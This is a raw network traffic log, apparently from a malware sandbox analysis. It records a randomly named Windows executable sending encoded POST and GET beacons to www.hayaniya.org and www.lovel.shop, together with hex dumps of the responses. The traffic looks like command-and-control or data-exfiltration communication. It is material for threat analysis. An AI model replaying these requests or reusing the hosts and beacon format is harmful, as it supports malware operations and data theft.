Nov 28, 2024 09:14:42.542694092 CET	1236	IN	Data Raw: 55 ff de 38 9c 89 44 25 36 d9 ca 60 77 e0 d8 6e 9f dc 1e 83 ff aa 17 b8 84 bf 62 cd bf 37 f6 a6 01 56 31 8e a2 ad f4 35 1d bb dd 75 46 55 fa 62 e0 6f 8a 1b 21 b1 46 fd 7e b3 d7 6c 75 ba fd 5e 7b f4 4e 24 fe be d8 e3 12 16 cb 75 2f a5 71 6c b9 f4 Data Ascii: U8D%6`wnb7V15uFUbo!F~lu^{N$u/qlKksQG$UJDYA^dE(l@.VQ`SYD&Xb>PlR$=Z:tr3}zQHDv=AI737p ;QJqEZtM
Nov 28, 2024 09:14:42.542706966 CET	1236	IN	Data Raw: b8 12 e6 76 05 42 01 47 63 d6 57 ef 56 64 82 35 0b e8 f6 b9 fa 1a a8 01 7a 8c f4 45 fa 57 d0 cc b3 f9 23 e3 c7 e6 af dd 1b 0c 2f 27 10 b0 74 72 5c a3 fc db 5f 22 c5 ad 4d 3a 9c 25 73 59 81 a6 34 a3 63 23 b5 08 f7 f2 ef b0 62 e3 ab f0 97 fe 31 7d Data Ascii: vBGcWVd5zEW#/'tr\_"M:%sY4c#b1}f; Y\?@UImjf?=`x129$cl%,xqXpc;VzB>u0w!5%tgG>T$w!Jb@^[
Nov 28, 2024 09:14:42.542717934 CET	1236	IN	Data Raw: c9 4e 7e b3 c7 eb f7 2f 3b d6 5d 77 78 d7 1e dd 75 47 77 87 7d 94 3d f0 20 7f 74 73 db c9 ed 5e 25 09 e7 fe 51 dd 91 33 8c 75 87 9e 3f 9e 3f 31 80 94 97 f3 27 cb 1b df 30 d0 76 b7 dd bb 1c 2a ec df 29 d1 95 b8 f0 28 87 6d b7 f2 47 7f 09 d2 ee ac Data Ascii: N~/;]wxuGw}= ts^%Q3u??1'0v*)(mGpk1q(uowMMI$/$4(y~@V$5'fk 2_AOvo0N@Qo6q<f"fM7
Nov 28, 2024 09:14:42.660480976 CET	1236	IN	Data Raw: a6 9c 48 a3 ea 63 49 c8 91 8f 23 44 4e e1 12 2e 71 cb 2e db 9a 64 05 ab 1d 50 af b9 a6 9c 8d ac ed c2 71 ba 03 af 39 e8 57 b8 5e f5 ac 72 ad 1b eb 15 eb 17 04 a5 f9 44 a1 a9 c4 51 cd b4 48 44 09 c3 6a 89 72 4b 97 ed fb da fd 6e 7f d8 eb 56 22 1c Data Ascii: HcI#DN.q.dPq9W^rDQHDjrKnV" 0T&vt_A[HmNRn8%Jk)U%AVHJ+E)_; bfYip8F86<yO-+Q[b9[i=b_gE>J&H+x7\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49894	192.185.147.100	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:43.855289936 CET	1833	OUT	POST /yf1h/ HTTP/1.1 Host: www.hayaniya.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.hayaniya.org Referer: http://www.hayaniya.org/yf1h/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 56 58 42 6f 37 4d 76 38 36 77 2f 78 71 41 51 6f 45 4a 43 57 42 79 61 75 39 62 34 76 74 67 5a 53 73 63 79 48 48 39 77 53 76 58 4b 55 63 68 6f 33 4b 35 4d 49 4d 56 49 6d 46 44 56 6e 44 74 2b 64 4d 75 75 5a 6d 54 79 2f 77 63 75 6b 68 6c 53 37 62 38 54 5a 2f 39 71 4f 41 54 47 4a 4e 44 75 46 46 6f 54 70 43 70 43 38 7a 2f 50 6b 6b 48 61 38 64 38 59 77 37 6c 76 67 6e 72 46 37 43 59 36 34 4a 56 45 4b 30 78 6e 59 67 69 71 7a 6d 4d 55 4e 30 39 51 33 62 52 46 41 56 53 75 32 6c 5a 75 4e 6d 6f 4c 36 75 49 53 6c 58 42 65 39 65 42 41 78 36 67 75 68 45 52 64 4b 73 64 47 78 71 4e 79 77 76 61 72 73 65 4a 31 38 53 77 64 72 76 72 5a 76 43 36 67 45 70 6c 73 69 75 74 34 39 37 70 31 44 42 43 68 42 63 4b 44 65 4e 49 76 30 56 31 34 6f 64 79 54 63 67 69 6f 78 42 76 77 4a 34 2f 4f 4a 2b 4b 36 42 53 4b 75 75 6a 49 41 74 32 49 69 2f 55 41 6f 51 56 65 59 37 54 78 4a 68 64 38 2f 67 4d 4a 76 61 75 46 4d 7a 7a 51 6b 4e 50 4b 70 64 6d 66 58 6f 69 38 5a 34 70 53 73 50 6b 35 4f 30 44 59 6a 48 70 4e 32 65 6f 51 [TRUNCATED] Data Ascii: QhKxhNP=VXBo7Mv86w/xqAQoEJCWByau9b4vtgZSscyHH9wSvXKUcho3K5MIMVImFDVnDt+dMuuZmTy/wcukhlS7b8TZ/9qOATGJNDuFFoTpCpC8z/PkkHa8d8Yw7lvgnrF7CY64JVEK0xnYgiqzmMUN09Q3bRFAVSu2lZuNmoL6uISlXBe9eBAx6guhERdKsdGxqNywvarseJ18SwdrvrZvC6gEplsiut497p1DBChBcKDeNIv0V14odyTcgioxBvwJ4/OJ+K6BSKuujIAt2Ii/UAoQVeY7TxJhd8/gMJvauFMzzQkNPKpdmfXoi8Z4pSsPk5O0DYjHpN2eoQGsBuE+0lba0HSXIupUouCIbDqqxPMPQVoO27261vvxwGr/9ELU2ztWrf3UvwnT2r8ypnA63vdNd2qz7JjBXoHw4G02mLK7F3xta1/GvwevUIRB7QqWa2rjaxb12vs1PQD158WNp6QwHF74HTf8p527l+7cscIthyh8Fs3HIK+tMDt8J5eBLUHbLf14DudSYDSuKO7XCUfyUTB8qnUSWIL7zoGXkIxXif24zQ/rqSZnpi0uqPnEE4pXt9ut+4PPRdO9oybzcShtk1bW3QkGJMUpu8x9w83/J5JXWv/asSu0flX5ap4xPaQ1gUJjgtE8n1SHhoe5J4MK1b2cVGH+lNBOqADKreuTruZt4m/Wpe+HuPgLadQkRBKYePtlYs8NaFDqA9fa1lmzjr8UY38RjV3IqRqmtELkwgrxGsn67uiLiCRpjoNX+vBWJ3R++vLqtjgP9gR3FkzH5/l/bShZQ+k/yvPedmChE/DPw2DN0p3HWAZp07AETEWTGpwsmSQ1hohcHzmaLpeFgmbTiqhpWlrB8DB1Vs5+sbsYDxN852Mj7TW67kNES7gfyo53CySzIAdc4TWJ7uVUB44QV1EgnQeJX1AtC0iTAQE5yCtPTeSXCI7ALDsxw3aMyrv5vj8T73N/W/l2csPyuQ5udqIYJjNt2fYb1O3YeT+g [TRUNCATED]
Nov 28, 2024 09:14:45.186304092 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:14:44 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://hayaniya.org/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 e4 b2 eb 92 dc c6 95 2e fa 9b fd 14 10 14 24 bb ed ce 42 dd 2f cd aa f6 9e b1 e5 73 bc c3 de 72 58 9a f0 9e 90 74 7a 27 80 04 90 ea 44 26 94 48 74 75 89 d3 3f 24 91 34 87 6f 31 e1 b0 5b e4 11 ad e1 a6 ad 08 9e 27 41 bd cd 59 40 02 55 a8 2a 54 5f c8 6e 1d 8f 0f a5 46 ad 5c f7 ef 5b df f8 bd 5f 7c f8 f3 8f ff f5 b7 1f 18 81 0a d9 e1 ce 38 fb 31 5c 2a 27 a6 54 cc 34 18 e6 fe c4 c4 d2 cc 42 04 bb 87 3b 77 c6 21 51 d8 70 02 2c 63 a2 26 e6 bf 7c fc 4b 34 34 0d 6b 11 e1 38 24 13 f3 84 92 69 24 a4 32 0d 47 70 45 38 64 4e a9 ab 82 89 4b 4e a8 43 50 fe d8 37 28 a7 8a 62 86 62 07 33 32 69 15 7d 18 e5 c7 86 24 6c 62 46 52 78 94 11 d3 08 24 f1 26 66 a0 54 74 60 59 7e 18 f9 0d 21 7d eb d4 e3 56 ab a6 8a 72 df c6 ce f1 5a 59 80 67 98 d3 19 d6 a5 21 93 91 d3 88 82 a8 28 57 54 31 72 98 9e cf 1f a5 7f 9b 7f 95 be 4c 9f 1b e9 ff 33 7f 96 be 32 e6 8f e7 4f d3 ef e0 ef fb f4 79 c3 b8 f7 fe b0 dd 6a 3d 30 f2 cc ef e6 8f d3 37 90 f4 5c 3f 5f a4 6f e0 f7 e9 fc c9 d2 75 9e be [TRUNCATED] Data Ascii: 1faa.$B/srXtz'D&Htu?$4o1['AY@UT_nF\[_\|81\'T4B;w!Qp,c&\|K44k8$i$2GpE8dNKNCP7(bb32i}$lbFRx$&fTt`Y~!}VrZYg!(WT1rL32Oyj=07\?_ouN_Yo<:sl;Ka_w?'($azX~/IK0=vg=aS(W:(K;0:f3:5ZllU<rU"cTDQ+*%peTL(No:uyxw`kp#TW:RihP\|N?"JQxh8&"yPVSh.V^5}:hj&9UP~PwtCHC&nU>a<y@)o\|I1h;O3>hlx~q'FO;v>{x!}.{,8"!$VW4.'SxqYB>v$GJH+@+GF$\z
Nov 28, 2024 09:14:45.186531067 CET	1236	IN	Data Raw: b3 5d b5 b7 77 06 44 38 41 36 ee ec 6c 31 3e da 85 19 d9 6a a4 e1 00 54 f9 3b e2 a8 dd e6 7e 73 1f de 98 9f 60 b8 03 75 55 b0 7c 06 84 fa 81 da 03 07 a0 66 1f c3 1d 77 15 a4 37 f7 1e 68 00 d9 96 ff 42 b9 ea b4 ff 49 4a 3c db 25 0d 1f 76 ca 8e 08 Data Ascii: ]wD8A6l1>jT;~s`uU\|fw7hBIJ<%vn/'wmH @"H&D}v$8)4P1Ea4q4H4i7.\|x=4{%mg[mzbwnRIwM:AnW^&5$J
Nov 28, 2024 09:14:45.186543941 CET	1236	IN	Data Raw: 33 cc e9 0c a4 2e 7d 6b 1a 21 00 a2 60 b6 15 b1 c4 a7 3c b6 02 60 82 48 e4 09 01 3a 47 84 91 6c 33 21 2d ca 1d ab ec 0d 5d 2d 4f e6 85 6e 03 1e 3f 03 32 27 ad 46 bf d1 6d dd 37 42 e2 52 3c b9 0f 5c de 37 2c 58 37 5f 24 5f 0f a6 e5 b0 f4 6e 31 a2 Data Ascii: 3.}k!`<`H:Gl3!-]-On?2'Fm7BR<\7,X7_$_n1wvPRFfF;w4x!1W jK\NQ`6hp-`UPl4aBQ3!5=2R$*f2d]( f9F]Apa$Zg
Nov 28, 2024 09:14:45.187294960 CET	1236	IN	Data Raw: 7f 23 f8 83 43 e2 dd e6 be 51 fc df 68 af 5f b1 ac 76 09 89 00 09 f0 a9 3f bd 66 4d 75 77 5b 35 fc ca 68 39 b9 ae 76 eb 64 91 a8 4c 95 ee 6a 39 ea 94 3d da bd de be b1 fc b4 f6 f6 17 89 ab 33 5a db 26 38 92 c6 17 6e 07 95 67 07 d3 80 48 b2 db a0 Data Ascii: #CQh_v?fMuw[5h9vdLj9=3Z&8ngH1kK!>2_Rw5X}`dg2}`F}"a\|`8+"7C?7\z0 qAZi97+!61rKBtAIH~YYFw^R8rwU
Nov 28, 2024 09:14:45.187308073 CET	896	IN	Data Raw: 6d 16 1b b5 06 ed de 68 34 1c f6 bb 6f b9 95 14 ef 42 5f 56 7f 55 f5 75 1a 9d b7 db d1 67 c2 c6 ec 9d 99 d3 6d 36 99 bb 9e e6 56 ef 39 6c de cc 41 87 cd ea 5e c3 41 ab d7 ed b4 df 61 2f 68 72 33 8b 41 a3 f5 cd 5a ad d1 75 36 0b 08 63 02 2d f7 bb Data Ascii: mh4oB_VUugm6V9lA^Aa/hr3AZu6c-Z*Zk`je\|}}D"OEnv/y00Fb-5thpDg)MXbzOfn3={:O7t+^U<xgPs31{7;.#g
Nov 28, 2024 09:14:45.188066959 CET	1236	IN	Data Raw: 06 75 27 66 d6 35 89 95 08 91 13 c7 66 2e 99 c6 54 08 47 84 21 91 0e 31 12 d6 88 a4 70 13 47 c5 06 a3 a5 6d e0 4c 9f 8e 60 42 1e 18 ef b7 70 0b 77 1c d0 a1 07 fb 21 0f 87 94 cd 8c 03 cc 42 2c 31 dd 39 db d9 d9 69 4c 1d 37 42 50 ec 4b 12 c7 28 1f Data Ascii: u'f5f.TG!1pGmL`Bpw!B,19iL7BPK(vC$ S~bSh5w;m@{9H^_G"N2zHy@y=pits2lV]76xBjr(&*PkAHb#zJHpQ'vHU3
Nov 28, 2024 09:14:45.188108921 CET	1236	IN	Data Raw: dc 81 7f 63 97 9e 18 0e c3 71 3c 31 09 23 21 e1 4a c8 a2 14 39 82 2b 4c 39 91 45 f2 4a 76 e0 11 b4 e8 5a 26 94 ff c6 58 ef b0 6c 29 22 c2 11 cb b4 65 8b d3 89 69 1a 45 9f fb cb 14 87 51 e7 38 bb c9 7d 23 90 c4 83 11 4a 45 07 96 15 e0 19 e6 74 86 Data Ascii: cq<1#!J9+L9EJvZ&Xl)"eiEQ8}#JEtBA[wA1ty:,qv]bi+nlYQr~Z#40Ss3hZ,KKqi@VXx(+UJDYANx#]uA&)#;1LsET
Nov 28, 2024 09:14:45.188981056 CET	1236	IN	Data Raw: 37 33 d6 37 d9 70 20 3b 51 4a f0 0a 71 45 cb 5a e2 74 4d 11 d2 8f 22 a2 db 34 5c e2 e1 84 29 f3 22 51 14 83 1d c1 15 a6 9c c8 12 7c 7d b6 6e 9c 33 18 95 b9 63 bc 2d cf d8 28 64 94 1f 57 bc 31 fd 92 a0 38 34 8d 40 12 6f 62 06 4a 45 f1 81 65 05 78 Data Ascii: 737p ;QJqEZtM"4\)"Q\|}n3c-(dW184@obJEex9u(wG_'Y[fZqiJj`Iq!d'*=,nO1=}9qE##v$=_51fa0n(e`Q"uQk
Nov 28, 2024 09:14:45.188992977 CET	1236	IN	Data Raw: 24 77 21 e4 4a 11 b9 62 ca cd 1b 17 40 a7 db e9 5e 5b 00 dd d2 03 df 7e fe 75 b5 de 37 65 d0 c9 8f de 59 16 64 76 29 06 3c ba 82 0c 1e a5 e7 e9 9f d3 97 e9 73 2d 84 3f a6 af c1 f1 1a a4 f0 7c 29 84 1b 26 65 d0 7e 1b 4a e0 3b dc 24 06 ad 06 4a 62 Data Ascii: $w!Jb@^[~u7eYdv)<s-?\|)&e~J;$JbVhl=&c"[=`%Tu`/_WFqz4q.{rXr+'NEJU\R0vmhH'y>%PCK!y~]M~$>
Nov 28, 2024 09:14:45.189646959 CET	1236	IN	Data Raw: af cf 66 fa c7 f4 4d fa 03 d0 f5 1f 9a bb ef 80 ca 37 f3 67 e9 73 fd 7c 33 7f 3c 7f 0a 7f cf 6e 93 cc 6e e7 0a da ac 52 b0 d0 9b b7 84 6d d7 50 aa 15 da cf bf ad 4a 6a 53 db d7 e2 09 d8 00 6a be 07 26 5e 69 6a 5e cc 9f cc bf 82 e7 7f ce 9f 2d a9 Data Ascii: fM7gs\|3<nnRmPJjSj&^ij^-[}$V"h9e$O]}"@:K874?8aeln'!WSn8:NG,2]["x2yS4hAnV%M+)4
Nov 28, 2024 09:14:45.307002068 CET	1236	IN	Data Raw: 4a a2 26 be 48 2b 78 d2 a4 15 0c 96 84 37 5c e2 e1 84 a9 42 5b 17 ea 13 b0 2b 4c 39 91 a5 10 eb b3 f3 d3 eb 9d 4c 43 0a 06 d3 ec 44 29 c1 4d 43 61 9b 72 97 9c 4e cc a6 69 60 49 31 62 d8 26 6c 62 fe 06 6a 8c 8f 8b 9a 3c 40 4e 23 0c a9 20 04 0f b3 Data Ascii: J&H+x7\B[+L9LCD)MCarNi`I1b&lbj<@N# cu]'bF$I`EImu!n6dcsr[qGHB8%f-dnY\RfhyfP?Fv5UTXX(DEXs(aDX}]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49900	192.185.147.100	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:46.649779081 CET	542	OUT	GET /yf1h/?QhKxhNP=YVpI46H16R/w/kk1bY6rBRavyZUbsgJtp9CZM+Bxvkr6dioDBNQhLHAnFkN0G7WaNsS3kDmK0ayEpl6TGabHmNyPQwWjM0ybC5bIBemWzNbXvkTcX815xQrmtulGFojAfQ==&Yby=d2ydCtHpb8 HTTP/1.1 Host: www.hayaniya.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:14:47.789602995 CET	503	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 28 Nov 2024 08:14:47 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://hayaniya.org/yf1h/?QhKxhNP=YVpI46H16R/w/kk1bY6rBRavyZUbsgJtp9CZM+Bxvkr6dioDBNQhLHAnFkN0G7WaNsS3kDmK0ayEpl6TGabHmNyPQwWjM0ybC5bIBemWzNbXvkTcX815xQrmtulGFojAfQ==&Yby=d2ydCtHpb8 Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49917	13.248.169.48	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:53.351852894 CET	790	OUT	POST /rxts/ HTTP/1.1 Host: www.lovel.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.lovel.shop Referer: http://www.lovel.shop/rxts/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 5a 4f 43 39 30 6d 54 74 46 51 76 61 6f 6b 78 4d 6a 65 77 4e 6b 43 64 32 57 65 6b 37 75 32 57 38 62 33 74 59 43 55 36 71 51 51 79 53 52 75 49 69 31 6f 6c 45 4e 55 4e 74 37 38 6b 2f 37 30 67 6c 46 6c 72 54 50 33 31 43 76 4f 35 4a 53 64 4a 78 66 68 6c 6f 4d 75 78 4b 35 6c 4e 73 71 5a 74 61 54 50 72 6a 54 56 2f 75 41 56 67 63 64 75 6f 43 32 54 69 4a 31 78 2f 43 4f 41 65 44 50 50 59 71 64 6d 57 6a 4e 65 4a 75 56 66 79 48 4b 77 78 65 33 50 32 4d 75 31 42 7a 68 73 55 36 2f 51 51 6e 44 61 58 39 30 46 31 59 6b 36 73 76 34 48 4e 4c 4d 61 75 74 35 62 74 54 6a 4d 48 31 57 58 2b 7a 4f 49 39 67 4d 43 34 3d Data Ascii: QhKxhNP=ZOC90mTtFQvaokxMjewNkCd2Wek7u2W8b3tYCU6qQQySRuIi1olENUNt78k/70glFlrTP31CvO5JSdJxfhloMuxK5lNsqZtaTPrjTV/uAVgcduoC2TiJ1x/COAeDPPYqdmWjNeJuVfyHKwxe3P2Mu1BzhsU6/QQnDaX90F1Yk6sv4HNLMaut5btTjMH1WX+zOI9gMC4=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49924	13.248.169.48	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:56.013505936 CET	810	OUT	POST /rxts/ HTTP/1.1 Host: www.lovel.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.lovel.shop Referer: http://www.lovel.shop/rxts/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 5a 4f 43 39 30 6d 54 74 46 51 76 61 35 30 42 4d 69 39 49 4e 73 43 64 35 5a 2b 6b 37 68 57 57 34 62 33 68 59 43 56 75 41 51 6a 57 53 53 4f 34 69 30 70 6c 45 42 30 4e 74 7a 63 6b 2b 32 55 67 69 46 6b 58 74 50 79 56 43 76 50 64 4a 53 59 31 78 66 51 6c 72 4e 2b 78 49 78 46 4e 75 6b 35 74 61 54 50 72 6a 54 56 72 51 41 56 59 63 63 66 59 43 35 57 65 47 75 52 2f 46 65 51 65 44 4c 50 59 75 64 6d 57 42 4e 66 46 55 56 61 32 48 4b 79 70 65 32 65 32 4e 6e 31 42 50 76 4d 55 71 35 44 31 5a 4d 4c 50 6f 2f 31 73 38 36 6f 67 42 77 52 38 68 57 34 6d 46 71 37 42 72 7a 66 50 43 48 6e 66 61 55 72 74 51 53 56 74 43 36 79 59 49 6a 6c 37 4c 4e 6c 53 39 4a 45 4c 4e 48 65 79 71 Data Ascii: QhKxhNP=ZOC90mTtFQva50BMi9INsCd5Z+k7hWW4b3hYCVuAQjWSSO4i0plEB0Ntzck+2UgiFkXtPyVCvPdJSY1xfQlrN+xIxFNuk5taTPrjTVrQAVYccfYC5WeGuR/FeQeDLPYudmWBNfFUVa2HKype2e2Nn1BPvMUq5D1ZMLPo/1s86ogBwR8hW4mFq7BrzfPCHnfaUrtQSVtC6yYIjl7LNlS9JELNHeyq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49930	13.248.169.48	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:58.689878941 CET	1827	OUT	POST /rxts/ HTTP/1.1 Host: www.lovel.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.lovel.shop Referer: http://www.lovel.shop/rxts/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 5a 4f 43 39 30 6d 54 74 46 51 76 61 35 30 42 4d 69 39 49 4e 73 43 64 35 5a 2b 6b 37 68 57 57 34 62 33 68 59 43 56 75 41 51 6a 65 53 52 2f 59 69 31 4b 4e 45 50 55 4e 74 35 38 6b 46 32 55 67 7a 46 6c 2f 68 50 79 4a 53 76 4d 31 4a 54 39 35 78 4f 53 4e 72 48 2b 78 49 39 6c 4e 7a 71 5a 73 59 54 50 37 5a 54 56 37 51 41 56 59 63 63 63 41 43 77 6a 69 47 70 68 2f 43 4f 41 66 58 50 50 59 47 64 6d 65 72 4e 66 52 2b 53 75 43 48 4b 53 35 65 30 73 65 4e 6f 31 42 4a 69 73 56 31 35 44 4a 38 4d 4c 6a 6b 2f 32 77 53 36 72 41 42 67 67 68 39 48 70 75 2f 2f 37 42 33 31 74 2f 62 64 44 44 66 65 49 4d 6d 50 6d 45 6a 33 41 56 6b 6f 43 37 50 5a 32 72 46 61 41 33 70 42 4c 44 46 5a 30 55 56 4b 6f 39 4f 45 55 37 4d 4e 56 78 63 78 43 73 53 50 6a 42 4c 48 6d 38 7a 5a 35 4c 4b 58 48 4a 79 4b 56 75 63 31 41 30 6e 44 32 47 66 47 51 4d 6c 63 63 48 39 6d 36 54 74 70 72 65 6d 4d 49 73 42 62 4a 43 49 4f 74 58 31 33 39 6f 33 6f 43 52 65 51 72 31 57 47 4a 6a 2f 65 52 76 41 46 77 4b 70 51 5a 37 41 2b 77 43 41 4c 33 [TRUNCATED] Data Ascii: QhKxhNP=ZOC90mTtFQva50BMi9INsCd5Z+k7hWW4b3hYCVuAQjeSR/Yi1KNEPUNt58kF2UgzFl/hPyJSvM1JT95xOSNrH+xI9lNzqZsYTP7ZTV7QAVYcccACwjiGph/COAfXPPYGdmerNfR+SuCHKS5e0seNo1BJisV15DJ8MLjk/2wS6rABggh9Hpu//7B31t/bdDDfeIMmPmEj3AVkoC7PZ2rFaA3pBLDFZ0UVKo9OEU7MNVxcxCsSPjBLHm8zZ5LKXHJyKVuc1A0nD2GfGQMlccH9m6TtpremMIsBbJCIOtX139o3oCReQr1WGJj/eRvAFwKpQZ7A+wCAL39aVgbTPmX24yIGdNXVfG7t7VyaytoAtyJ0OlTe+6H4WwS/l+fI+63oQqa54R4o/eaUFpHhjISYxqNToSab4feX6asaCJKYezkQLRifj+Pj7IBL9Kg/f8oWu8o0doCa0OU41w8HXeb6gFHc/ZMgJtCi7Kbr2Dj7CeYPkBDDDoGKnALH9MkWpiaEBuguBjsMY6RfRn+F4eqKvPyAQfvVUqGWffcRbV+IL8UeNFdoWKdhybV5WIhgOkrjXghI31T4YLhpzfPHdZfbTgcn045kcRFE8LSQ6VojXuGtvEkJUBU4tP/k4144LPeN4ToqiyQKK7dLyr55JOfJO36yGvHxZTvIq1mIe7H8zSTwRo3kh8VcznDTabBTBS5us1vSr7qbI+uLRxIOHM1FNaEICccQVnhZ2qsN8loC9Ze8/CG4CrfaBX7jmNm+6xfNWAj9uRXSfINIedE1coDPekBI4WY6x/C+pJUbNIGqP3fRBrck7OqYePSWL0YXl7ziXWMZ2wrTScSBdROuAp5/GnotTvef0FholcQAh6xUYJ8vhBB+SEXhfLhEb6aID7I2+WjRycn8i3wS041LB1XinfKmzM6OZTdme5oxEXR+54EhSg2zJlvXFGS6mYMfX2E1HM/lNwsWon198i++BSZZeRFknKUraoZnxcLHU7ct87xB [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49937	13.248.169.48	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:15:01.353698969 CET	540	OUT	GET /rxts/?Yby=d2ydCtHpb8&QhKxhNP=UMqd3Rr/GgjcpDtMifF0hAVXULwugGyaJHdfF0vXYxuoY8NmwcRKHFRQ3Zc522gmFWLmVhpOr5FlbfkrODlmL/pMmEFBmvtdQsTPBX/BeC8bc9YX4gHB5yTSGVyOHdtWew== HTTP/1.1 Host: www.lovel.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:15:02.459662914 CET	410	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 28 Nov 2024 08:15:02 GMT Content-Type: text/html Content-Length: 270 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 59 62 79 3d 64 32 79 64 43 74 48 70 62 38 26 51 68 4b 78 68 4e 50 3d 55 4d 71 64 33 52 72 2f 47 67 6a 63 70 44 74 4d 69 66 46 30 68 41 56 58 55 4c 77 75 67 47 79 61 4a 48 64 66 46 30 76 58 59 78 75 6f 59 38 4e 6d 77 63 52 4b 48 46 52 51 33 5a 63 35 32 32 67 6d 46 57 4c 6d 56 68 70 4f 72 35 46 6c 62 66 6b 72 4f 44 6c 6d 4c 2f 70 4d 6d 45 46 42 6d 76 74 64 51 73 54 50 42 58 2f 42 65 43 38 62 63 39 59 58 34 67 48 42 35 79 54 53 47 56 79 4f 48 64 74 57 65 77 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 